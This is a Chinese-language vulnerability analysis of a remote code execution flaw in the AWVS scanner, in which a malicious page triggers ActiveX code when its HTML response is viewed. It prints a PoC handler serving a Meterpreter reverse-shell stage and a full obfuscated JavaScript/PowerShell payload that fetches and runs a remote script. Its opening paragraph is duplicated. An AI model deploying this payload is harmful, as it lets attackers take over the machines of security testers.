### 漏洞复现及分析 AWVS是一款常用的网站漏洞扫描工具,在漏洞扫描器进行扫描时,如果通过服务器提供一段包含恶意代码的页面,首先存在问题的网页会通知AWVS存在一个XSS漏洞,之后AWVS会在扫描任务中输出这个XSS漏洞的告警,之后AWVS会调用view response功能验证这个漏洞,在调用这个的过程中本地会执行一次漏洞的html网页,在执行的过程中,恶意构造的网页会在本地创建一个vb脚本,该脚本会去访问并获取另一段vb script从而执行而恶意代码,下面对此漏洞进行详细分析。 在分析之前,我需要提一点,本来想对wvs.exe进行动态跟踪,没想到wvs对debug有着严格的审查。  然后用IDA进行分析,发现一个从来没见过的壳。。  所以我们暂且只能通过PoC,以及服务执行过程进行分析,其中最关键的位置我会直接描述。 首先,在服务器端执行poc,之后运行AWVS对poc所在端口进行扫描  可以看到,此时已经获取到了xss漏洞页面,这时我们选择view html response,这是漏洞的关键,html调用时没有对内容进行严格的审查以及对于第三方调用进行限制,导致在AWVS内部直接出发ActiveX插件执行代码,漏洞被触发,这里我们关闭vb执行权限,可以获得报错信息。  根据路径我们访问到出现问题的路径,找到vbs脚本 ...
### 漏洞复现及分析 AWVS是一款常用的网站漏洞扫描工具,在漏洞扫描器进行扫描时,如果通过服务器提供一段包含恶意代码的页面,首先存在问题的网页会通知AWVS存在一个XSS漏洞,之后AWVS会在扫描任务中输出这个XSS漏洞的告警,之后AWVS会调用view response功能验证这个漏洞,在调用这个的过程中本地会执行一次漏洞的html网页,在执行的过程中,恶意构造的网页会在本地创建一个vb脚本,该脚本会去访问并获取另一段vb script从而执行而恶意代码,下面对此漏洞进行详细分析。 在分析之前,我需要提一点,本来想对wvs.exe进行动态跟踪,没想到wvs对debug有着严格的审查。  然后用IDA进行分析,发现一个从来没见过的壳。。  所以我们暂且只能通过PoC,以及服务执行过程进行分析,其中最关键的位置我会直接描述。 首先,在服务器端执行poc,之后运行AWVS对poc所在端口进行扫描  可以看到,此时已经获取到了xss漏洞页面,这时我们选择view html response,这是漏洞的关键,html调用时没有对内容进行严格的审查以及对于第三方调用进行限制,导致在AWVS内部直接出发ActiveX插件执行代码,漏洞被触发,这里我们关闭vb执行权限,可以获得报错信息。  根据路径我们访问到出现问题的路径,找到vbs脚本  可以看到,脚本会请求stage2的内容,并将其写入一个script脚本中执行,重新观察PoC有关stage2的描述。 ``` elif self.path == "/stage2": self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() # Send the html message self.wfile.write(base64.b64decode(EXPLOIT_STAGE_2) % (PAYLOAD_METERPETRER % ip2b(sys.argv[2]), "%TEMP%")) postexpthread = Thread(target=postexploitation, args=(self.client_address[0], )) postexpthread.start() return ``` 在stage2中,会将EXPLOIT_STAT_2进行解码后发送,通过浏览器直接访问url/stage2可以获取script内容。 这个script内容其实就是反弹端口的程序,将程序十六进制提取出来,调用vb将程序十六进制代码写入文件中,再执行,与漏洞成因无关,这里就不再讲述,接下来看一下为什么会产生这个漏洞。 来看一下view html response中的代码。 ``` function zyx() {window.called = 1; var xyz="dABzAGsAaQBsAGwAIAB3AHYAcwANAAoAJABhAD0AJwAnACcADQAKACAAUwBlAHQAIABmAHMAbwAgAD0AIABDAHIAZQBhAHQAZQBPAGIAagBlAGMAdAAoACIAUwBjAHIAaQBwAHQAaQBuAGcALgBGAGkAbABlAFMAeQBzAHQAZQBtAE8AYgBqAGUAYwB0ACIAKQANAAoAIABTAGUAdAAgAHcAcwBoAFMAaABlAGwAbAAgAD0AIABDAHIAZQBhAHQAZQBPAGIAagBlAGMAdAAoACAAIgBXAFMAYwByAGkAcAB0AC4AUwBoAGUAbABsACIAIAApAA0ACgAgAFMAZQB0ACAATwB1AHQAcAAgAD0AIABXAHMAYwByAGkAcAB0AC4AUwB0AGQAbwB1AHQADQAKACAAUwBlAHQAIABGAGkAbABlACAAPQAgAFcAUwBjAHIAaQBwAHQALgBDAHIAZQBhAHQAZQBPAGIAagBlAGMAdAAoACIATQBpAGMAcgBvAHMAbwBmAHQALgBYAE0ATABIAFQAVABQACIAKQANAAoAIABGAGkAbABlAC4ATwBwAGUAbgAgACIARwBFAFQAIgAsACAAIgBoAHQAdABwADoALwAvADAALgAwAC4AMAAuADAAOgA4ADAALwBzAHQAYQBnAGUAMgAiACwAIABGAGEAbABzAGUADQAKACAATQB5AEYAaQBsAGUAIAA9ACAAdwBzAGgAUwBoAGUAbABsAC4ARQB4AHAAYQBuAGQARQBuAHYAaQByAG8AbgBtAGUAbgB0AFMAdAByAGkAbgBnAHMAKAAgACIAJQBUAEUATQBQACUAIgAgACkAKwAiAFwAdABkAFYARgBQAHAASAA5AEgAZwBRAFEALgB2AGIAcwAiAA0ACgAgAEYAaQBsAGUALgBTAGUAbgBkAA0ACgAgAFMAZQB0ACAAQgBTACAAPQAgAEMAcgBlAGEAdABlAE8AYgBqAGUAYwB0ACgAIgBBAEQATwBEAEIALgBTAHQAcgBlAGEAbQAiACkADQAKACAAQgBTAC4AdAB5AHAAZQAgAD0AIAAxAA0ACgAgAEIAUwAuAG8AcABlAG4ADQAKACAAQgBTAC4AVwByAGkAdABlACAARgBpAGwAZQAuAFIAZQBzAHAAbwBuAHMAZQBCAG8AZAB5AA0ACgAgAEIAUwAuAFMAYQB2AGUAVABvAEYAaQBsAGUAIABNAHkARgBpAGwAZQAsACAAMgANAAoAIAB3AHMAaABTAGgAZQBsAGwALgByAHUAbgAgACIAdwBzAGMAcgBpAHAAdAAgACIAKwBNAHkARgBpAGwAZQANAAoAIABmAHMAbwAuAEQAZQBsAGUAdABlAEYAaQBsAGUAKABXAHMAYwByAGkAcAB0AC4AUwBjAHIAaQBwAHQARgB1AGwAbABOAGEAbQBlACkADQAKACAAJwAnACcADQAKACAAJABwAHQAaAAgAD0AIAAoAGcAZQB0AC0AaQB0AGUAbQAgAGUAbgB2ADoAVABFAE0AUAApAC4AVgBhAGwAdQBlACsAIgBcAHMAdABhAGcAZQByAC4AdgBiAHMAIgA7AA0ACgAgAGUAYwBoAG8AIAAkAGEAIAA+ACAAJABwAHQAaAANAAoAIAB3AHMAYwByAGkAcAB0ACAAJABwAHQAaAA="; eval(function(p,a,c,k,e,d) {e=function(c) {return c.toString(36)}; if(!''.replace(/^/,String)) {while(c--) {d[c.toString(a)]=k[c]||c.toString(a)} k=[function(e){return d[e]}]; e=function(){return'\\w+'};c=1}; while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 0=6 4("3.1");0.2(\'7 /8 d /e "" "c" -b 9 -a "f"\');',16,16,'\x73\x68\x65\x6c\x6c|\x53\x68\x65\x6c\x6c|\x72\x75\x6e|\x57\x53\x63\x72\x69\x70\x74|\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74|var|new|\x63\x6d\x64|C|Normal|\x65\x6e\x63\x6f\x64\x65\x64\x63\x6f\x6d\x6d\x61\x6e\x64|window\x73\x74\x79\x6c\x65|\x70\x6f\x77\x65\x72\x73\x68\x65\x6c\x6c|\x73\x74\x41\x52\x74|B|$$'.replace("$$",xyz).split('|'),0,{})); document.body.innerHTML='404 Not found'; } </script> <script>if (window.called == 0){zyx();}</script></body></html> ``` 我将代码的关键部分提取出来,其中在函数执行中调用到了function zyx,而这个function中涉及到了一个zyx变量,变量内容经过base64加密,其实直接解密后可以看到内容。  这里解密还是存在一定问题,我截取了部分内容,其实zyx变量就是要写入的script脚本。 在执行了view html response之后,会调用html中的内容,触发zyx函数,接下来在代码中 ``` e=function(){return'\\w+'};c=1}; while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 0=6 4("3.1");0.2(\'7 /8 d /e "" "c" -b 9 -a "f"\');',16,16,'\x73\x68\x65\x6c\x6c|\x53\x68\x65\x6c\x6c|\x72\x75\x6e|\x57\x53\x63\x72\x69\x70\x74|\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74|var|new|\x63\x6d\x64|C|Normal|\x65\x6e\x63\x6f\x64\x65\x64\x63\x6f\x6d\x6d\x61\x6e\x64|window\x73\x74\x79\x6c\x65|\x70\x6f\x77\x65\x72\x73\x68\x65\x6c\x6c|\x73\x74\x41\x52\x74|B|$$'.replace("$$",xyz).split('|'),0,{})); ``` 会对script脚本进行处理,之后会进行第三方调用执行vbs脚本,从而触发漏洞。 Footnotes [1] http://www.acunetix.com/ [2] http://www.acunetix.com/support/docs/wvs/scheduling-scans/ [3] https://support.microsoft.com/it-it/kb/919240